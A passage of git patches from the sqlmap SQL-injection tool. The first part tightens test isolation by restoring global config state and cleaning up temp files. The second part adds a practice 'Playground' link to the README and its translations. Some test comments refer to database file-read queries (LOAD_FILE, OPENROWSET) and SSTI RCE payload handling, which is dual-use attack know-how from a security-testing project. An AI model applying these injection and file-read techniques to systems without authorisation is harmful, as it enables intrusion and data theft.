mutated globals @@ -122,6 +123,7 @@ def tearDown(self): api.DataStore.username = self._saved["username"] api.DataStore.password = self._saved["password"] api.Database.filepath = self._saved["filepath"] + conf.batch = self._saved_batch def _new_task(self): code, parsed, _ = _wsgi_call("GET", "/task/new") diff --git a/tests/test_bigarray.py b/tests/test_bigarray.py index 8d033f77c5c..9d65d8e97fe 100644 --- a/tests/test_bigarray.py +++ b/tests/test_bigarray.py @@ -28,14 +28,26 @@ N = 5000 +_SPILLED = [] + def _make_spilled(): # tiny chunk_size guarantees many on-disk chunks for N items ba = BigArray(chunk_size=1024) for i in range(N): ba.append("item-%d" % i) + _SPILLED.append(ba) # tracked so tearDownModule closes it (release the on-disk chunk files) return ba +def tearDownModule(): + for ba in _SPILLED: + try: + ba.close() + except Exception: + pass + del _SPILLED[:] + + class TestSpill(unittest.TestCase): def test_actually_spilled_to_disk(self): ba = _make_spilled() diff --git a/tests/test_checks.py b/tests/test_checks.py index 7300c39bb7f..54988ac5817 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -53,9 +53,10 @@ "notString", "regexp", "regex", "dummy", "offline", "skipWaf", "data", "hashDB", "cj", "cookie", "dropSetCookie", "httpHeaders", "proxy", "tor", "tamper", "timeout", "retries", "textOnly", "ignoreCode", "disablePrecon", - "ipv6", "multipleTargets", "level", "base64Parameter", "batch", + "ipv6", "multipleTargets", "level", "base64Parameter", "batch", "code", "titles", ) _KB_KEYS = ( + "pageTemplate", "negativeLogic", "heavilyDynamic", "dynamicParameter", "originalPage", "originalPageTime", "originalCode", "ignoreCasted", "heuristicMode", "disableHtmlDecoding", "heuristicTest", "heuristicPage", "heuristicCode", "pageStable", diff --git a/tests/test_common.py b/tests/test_common.py index 73396f0ecae..e8d217627fc 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -1320,10 +1320,9 @@ def test_chunk_split_post_data(self): random.choice, random.randint, random.sample, random.seed = _saved def test_chunk_split_terminator(self): - import random from lib.core.common import chunkSplitPostData - random.seed(123) # regardless of content, the chunked stream must end with the zero-length terminator + # (assertion is seed-independent, so don't touch the global RNG) self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 353252f8e56..6eb4e6bcfe4 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -25,6 +25,7 @@ import os import sys +import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) @@ -108,7 +109,7 @@ def test_fileContentEncode_chunk_below_threshold_is_single(self): def test_fileEncode_reads_then_encodes(self): # fileEncode must read the file bytes and delegate to fileContentEncode path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_fe_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"hello") try: @@ -138,7 +139,7 @@ def test_checkFileLength_mysql_query_and_samefile(self): # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # 5 bytes captured = {} @@ -159,7 +160,7 @@ def getValue(query, *a, **k): def test_checkFileLength_size_differs(self): set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl2_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"12345") # local 5 self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") @@ -176,7 +177,7 @@ def test_checkFileLength_mssql_openrowset_stacked(self): # OPENROWSET-building branch runs in isolation. set_dbms("Microsoft SQL Server") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl3_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"ABCD") # 4 bytes stacked = [] @@ -205,7 +206,7 @@ def test_checkFileLength_not_written_warns_false(self): # non-positive remote size -> treated as "not written" -> sameFile False set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_cl4_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"x") self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) @@ -282,7 +283,7 @@ def test_writeFile_dispatches_to_stacked(self): # stackedWriteFile and return its result. set_dbms("MySQL") path = os.path.join( - os.environ.get("TMPDIR", "/tmp"), "sqlmap_wf_%d.bin" % os.getpid()) + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) with open(path, "wb") as f: f.write(b"data") calls = {} diff --git a/tests/test_ldap.py b/tests/test_ldap.py index f590dcfb846..469f4fed223 100644 --- a/tests/test_ldap.py +++ b/tests/test_ldap.py @@ -16,6 +16,21 @@ import lib.techniques.ldap.inject as ldap +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _LDAP_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + # --- Helpers ---------------------------------------------------------------- SENTINEL = ldap.SENTINEL diff --git a/tests/test_nosql.py b/tests/test_nosql.py index 3703471f8ce..d0987272669 100644 --- a/tests/test_nosql.py +++ b/tests/test_nosql.py @@ -18,6 +18,21 @@ import lib.techniques.nosql.inject as ni +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + SECRET = "S3cr3t_9" MATCH = "Welcome user; rows: alpha, bravo, charlie" NOMATCH = "Invalid credentials; no rows" diff --git a/tests/test_pagecontent.py b/tests/test_pagecontent.py index 3f6edcf500d..6d777ef21d8 100644 --- a/tests/test_pagecontent.py +++ b/tests/test_pagecontent.py @@ -60,6 +60,7 @@ def test_multiple_tags(self): class TestParseSqliteTableSchema(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) kb.data.cachedColumns = {} def _cols(self): diff --git a/tests/test_payload_marking.py b/tests/test_payload_marking.py index 04f97941ab4..f0271bf9c53 100644 --- a/tests/test_payload_marking.py +++ b/tests/test_payload_marking.py @@ -28,6 +28,24 @@ # change there is reflected here too. MARK = CUSTOM_INJECTION_MARK_CHAR +# the _drive_* helpers set sticky conf/kb flags (notably conf.hpp, which changes queryPage +# behaviour) without restoring them; snapshot/restore at the module boundary so they can't leak +_PM_CONF_KEYS = ("hpp", "skipUrlEncode", "method", "paramDel", "url", "data", "parameters", "paramDict") +_PM_KB_KEYS = ("tamperFunctions", "postHint", "customInjectionMark", "postUrlEncode", "postSpaceToPlus", "processUserMarks") +_pm_saved = {} + +def setUpModule(): + from lib.core.data import conf, kb + for k in _PM_CONF_KEYS: + _pm_saved[("conf", k)] = conf.get(k) + for k in _PM_KB_KEYS: + _pm_saved[("kb", k)] = kb.get(k) + +def tearDownModule(): + from lib.core.data import conf, kb + for (scope, k), v in _pm_saved.items(): + (conf if scope == "conf" else kb)[k] = v + def classify(d): if re.search(JSON_RECOGNITION_REGEX, d): diff --git a/tests/test_purge.py b/tests/test_purge.py index b4520f40444..c532d7b73cf 100644 --- a/tests/test_purge.py +++ b/tests/test_purge.py @@ -83,7 +83,10 @@ def test_overwrites_and_truncates_file_contents(self): nonempty = [p for p in survivors if os.path.getsize(p) > 0] self.assertEqual(nonempty, [], msg="files were not truncated to zero: %r" % nonempty) - blob = b"".join(open(p, "rb").read() for p in survivors) + blob = b"" + for p in survivors: + with open(p, "rb") as fh: + blob += fh.read() for secret in plaintexts.values(): self.assertNotIn(secret.encode("utf-8"), blob, msg="original plaintext %r survived the purge" % secret) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py index 5343ef95260..4195ed8b1f2 100644 --- a/tests/test_sgmllib.py +++ b/tests/test_sgmllib.py @@ -191,6 +191,7 @@ def test_convert_codepoint(self): class TestCustomEntitydefs(unittest.TestCase): def test_custom_entity(self): p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide p.entitydefs["copy"] = "\xa9" p.feed("©") p.close() diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 96b714bc0cb..8a5e15e9a4d 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -393,8 +393,7 @@ def setUp(self): def tearDown(self): ssti._send = self.original_send - if self.original_dumper is not None: - ssti.conf.dumper = self.original_dumper + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) def test_error_page_skipped(self): """RCE payload that triggers a template error is skipped; next payload tried.""" diff --git a/tests/test_targeturl.py b/tests/test_targeturl.py index a0e05ac851d..74c14c07163 100644 --- a/tests/test_targeturl.py +++ b/tests/test_targeturl.py @@ -26,6 +26,20 @@ from lib.core.common import parseTargetUrl from lib.core.data import conf +_TARGETURL_KEYS = ("url", "hostname", "port", "scheme", "path") +_saved = {} + + +def setUpModule(): + for k in _TARGETURL_KEYS: + _saved[k] = conf.get(k) + + +def tearDownModule(): + # parseTargetUrl() writes these onto the global conf singleton; restore so it can't leak to later modules + for k, v in _saved.items(): + conf[k] = v + def _parse(url): conf.url = url diff --git a/tests/test_texthelpers.py b/tests/test_texthelpers.py index 2726e6747fe..0df01ee7a98 100644 --- a/tests/test_texthelpers.py +++ b/tests/test_texthelpers.py @@ -46,6 +46,7 @@ def test_all_match(self): class TestParseFilePaths(unittest.TestCase): def setUp(self): + self.addCleanup(setattr, kb, "absFilePaths", kb.get("absFilePaths")) kb.absFilePaths = set() def test_unix_paths_from_php_error(self): diff --git a/tests/test_threads.py b/tests/test_threads.py index 28a852850a5..602d2c5acb8 100644 --- a/tests/test_threads.py +++ b/tests/test_threads.py @@ -38,6 +38,7 @@ def test_get_current_thread_data_is_threadlocal(self): # ATTRIBUTE STATE is per-thread. Verify both: same object, independent state. main = T.getCurrentThreadData() self.assertIs(main, T.getCurrentThreadData()) # stable within a thread + self.addCleanup(main.reset) # don't leak the main thread's mutated state to later tests main.retriesCount = 111 From 2b9fd6cf82e9b716d2d176bab5834fb46fe4447c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 3 Jul 2026 10:10:29 +0200 Subject: [PATCH 679/853] Minor update of the references --- README.md | 1 + data/txt/sha256sums.txt | 60 +++++++++++++++---------------- doc/translations/README-ar-AR.md | 1 + doc/translations/README-bg-BG.md | 1 + doc/translations/README-bn-BD.md | 1 + doc/translations/README-ckb-KU.md | 1 + doc/translations/README-de-DE.md | 1 + doc/translations/README-es-MX.md | 1 + doc/translations/README-fa-IR.md | 1 + doc/translations/README-fr-FR.md | 1 + doc/translations/README-gr-GR.md | 1 + doc/translations/README-hr-HR.md | 1 + doc/translations/README-id-ID.md | 1 + doc/translations/README-in-HI.md | 1 + doc/translations/README-it-IT.md | 1 + doc/translations/README-ja-JP.md | 1 + doc/translations/README-ka-GE.md | 1 + doc/translations/README-ko-KR.md | 1 + doc/translations/README-nl-NL.md | 1 + doc/translations/README-pl-PL.md | 1 + doc/translations/README-pt-BR.md | 1 + doc/translations/README-rs-RS.md | 1 + doc/translations/README-ru-RU.md | 1 + doc/translations/README-sk-SK.md | 1 + doc/translations/README-tr-TR.md | 1 + doc/translations/README-uk-UA.md | 1 + doc/translations/README-vi-VN.md | 1 + doc/translations/README-zh-CN.md | 1 + lib/core/settings.py | 2 +- lib/utils/api.py | 4 +-- sqlmapapi.yaml | 12 +++---- 31 files changed, 66 insertions(+), 39 deletions(-) diff --git a/README.md b/README.md index fbaddcaab60..05fd780271e 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,7 @@ Links * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Playground: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots Translations diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a894ed05419..d51e81eb4bc 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -90,32 +90,32 @@ ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queri ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md 8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md -2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md -c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md -e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md -00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md -f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md -163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md -70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md -a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md -f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md -bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md -27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md -830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md -40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md -379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md -754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md -2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md -c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md -95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md -b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md -3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md -7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md -bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md -ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md -5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md -c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md -c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md +08392b358c91c79310741c11181572ac0d9c805bf9b65e93cfe6165d569e1918 doc/translations/README-ar-AR.md +692cb9911393212d0cc7115e4e281a0c7368c11060ce41140e878d02a3c9b4fc doc/translations/README-bg-BG.md +9d84fd48b533abbf987d3758c5382a4ba671d3b0499eec301965dc7061cd8794 doc/translations/README-bn-BD.md +65253be0f258af1315cd3dafe555788007537f562e4767cd62d16deff940ea9e doc/translations/README-ckb-KU.md +a879590d8df8e45dfc1a23099446a5f68b8587c31ecfcb735f326a347ccff706 doc/translations/README-de-DE.md +0d9cae50c55529bb0aa0523b7b7b0621d4e32a1ce2bbcfa214139b3d038c555b doc/translations/README-es-MX.md +c3024073cb28099f3acfa406a73e71c91c9a02e193964ed291dbff6b90427334 doc/translations/README-fa-IR.md +10ea504f41be97369f50cefe76bc28cfc629b26a6bf384b8d70e881c96dc0923 doc/translations/README-fr-FR.md +b6aa61ad27714a55c70265570145ce7ee335b9050745e648dcea48721eaf334a doc/translations/README-gr-GR.md +22351d0474d0272d8dc6551adb31c96a6ca1085e01f608ab0c00802680a2a40b doc/translations/README-hr-HR.md +782ba3afa853ace3a69811ed607639978934001f2217325880342e3f1873f4a2 doc/translations/README-id-ID.md +46990bbb2909c3045f95c726b22ff9058ded37ad6a5485886e2c576a5864278a doc/translations/README-in-HI.md +3f9dd7c6ef325d504841314c13356e416468d6a6f8ed8aab1ed4a5537fd3908b doc/translations/README-it-IT.md +39958aa346a5e0db2c330ec45d216764bef19cd660b87dc0f5251f93d501f5a3 doc/translations/README-ja-JP.md +0cf573bcae1454c34eb682e6aa2cbf1f215f4cd6434d088dd9ae3d32d2fedb67 doc/translations/README-ka-GE.md +e1798fb6d4f5369de0c6cd4c03b42082d918992e1744ee180d7e55736af6099e doc/translations/README-ko-KR.md +40a61f100da538bff95af4a582f0856aa36e5d7c5f27c20878688fd48fcd8f98 doc/translations/README-nl-NL.md +9005009f5db979677e4a5fd8282fee28086029a9483be770fdbf375674223709 doc/translations/README-pl-PL.md +4a3e59a37cd9f5ad9dce349a95b5f7e8cbb074548a6b8086129f5e9eda7fd72b doc/translations/README-pt-BR.md +93540499d004d893d4d1f79894824f28ab31f57d3ed9d698a25d08179dbe063c doc/translations/README-rs-RS.md +9732f6e022bf353543e7e762c64e927c2503325cefc42f57a90efb2b43d64055 doc/translations/README-ru-RU.md +dfc5bfe69122fde6c933b2c71e71da7c21ad15f5a3c74f9201d3360ce47df5d2 doc/translations/README-sk-SK.md +bd05734a41844fff3a304d137b95422a76ad2737b304f762e44883da7d8a147f doc/translations/README-tr-TR.md +81912ba386b468fdc95c0bdddf6bbee5154b43af579b6cee2be752d54ff490a4 doc/translations/README-uk-UA.md +ac826cb38a3c0c6ce66c3deec79e72ce526f3fdc9c664c844bcdbdbc73aeae5e doc/translations/README-vi-VN.md +a46681b34b3e5c5cd6cbd926f19b6aa104b3f202e600289565d443e57850c8d4 doc/translations/README-zh-CN.md 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py +f86e98fbcdd8aa71e24dfd610359c1aaaff633e87940b684497d5492c3d468c4 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -255,7 +255,7 @@ f6678ac1342f8d234ed32ae69be5ac5d7837393e9348929ec029c9764c030e82 lib/techniques c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py -c5850075861bd5f172e191a0e48dd1d636d7c6af53bb471a44d56e7cef4e79c5 lib/utils/api.py +d72933a3783873a589752e3bf0e2e351874c3d7e4610cf0a956d909fc1aa5a21 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py 51deedec3d3e869b067824caa51406d2ef396c188f82013ca60777006a821e27 lib/utils/deps.py @@ -507,9 +507,9 @@ da8cc80a09683c89e8168a27427efecda9f35abc4a23d4facd6ffa7a837015c4 plugins/generi cedf45d33461bd7e5400d06611a63c8a4ffae1a4510030c5696b9d46ed6a9883 plugins/generic/takeover.py 38becf127a8bb4a90befd4c7e12ef1ad8e21374c91c75bb640d73ab86cc1eeb9 plugins/generic/users.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py -5d72f0af46ff3c9e3fe80300e83cb78749132278e8db88915764a94d7130a04c README.md +b7425eb6a1c7b43b175a0312183579bedac0abda4fcaa42c383388626ea1b683 README.md 46517f1444c202710e388873960130850ed092e17bd6f4dd5f2fedea3dbb8ffc sqlmapapi.py -f09d1b06901e7e02d0dbf4de607f6a4a9889acc322ae9353b98ea9101fb9548a sqlmapapi.yaml +9b6bcffc94023b291ef231760fa134140dc2448dd81b235088d6bff020502c6b sqlmapapi.yaml 627d90f1194335b800cbc9cc78db6697cf9e02e193a83598e0d4d0abb55b63b8 sqlmap.conf 80d66407453d34d672c389f6d9ab059d925528615429f2e6e9f286ce03d2c5d6 sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md index ecbb83d851c..6def1dae26e 100644 --- a/doc/translations/README-ar-AR.md +++ b/doc/translations/README-ar-AR.md @@ -65,4 +65,5 @@ * الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * تويتر: [@sqlmap](https://x.com/sqlmap) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ساحة التدريب: https://sekumart.sekuripy.hr * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index d66b5301e11..eac60822f01 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -47,4 +47,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Площадка за упражнения: https://sekumart.sekuripy.hr * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md index 8e4cfe36905..2cff7d25282 100644 --- a/doc/translations/README-bn-BD.md +++ b/doc/translations/README-bn-BD.md @@ -58,5 +58,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ * সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* অনুশীলন সাইট: https://sekumart.sekuripy.hr * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index db813955337..02471d311a2 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -62,6 +62,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 65d96220ea5..abb9cea3a8d 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -46,4 +46,5 @@ Links * Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Spielwiese: https://sekumart.sekuripy.hr * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index f85f4862fca..a2878800d6e 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -46,4 +46,5 @@ Enlaces * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Campo de pruebas: https://sekumart.sekuripy.hr * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index eb84e410939..2f3cbf31349 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -81,4 +81,5 @@ * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ * توییتر: [@sqlmap](https://x.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* زمین تمرین: https://sekumart.sekuripy.hr * تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 4d867898b97..02bfe0d8944 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -46,4 +46,5 @@ Liens * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Terrain de jeu: https://sekumart.sekuripy.hr * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 0d5e0446570..161280fe892 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -47,4 +47,5 @@ * Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Χώρος δοκιμών: https://sekumart.sekuripy.hr * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md index 45d5eaad1f9..4807f57d6c1 100644 --- a/doc/translations/README-hr-HR.md +++ b/doc/translations/README-hr-HR.md @@ -47,4 +47,5 @@ Poveznice * Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Vježbalište: https://sekumart.sekuripy.hr * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md index f82bf71d2ec..5a35ec38496 100644 --- a/doc/translations/README-id-ID.md +++ b/doc/translations/README-id-ID.md @@ -50,4 +50,5 @@ Tautan * Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos) +* Arena latihan: https://sekumart.sekuripy.hr * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git 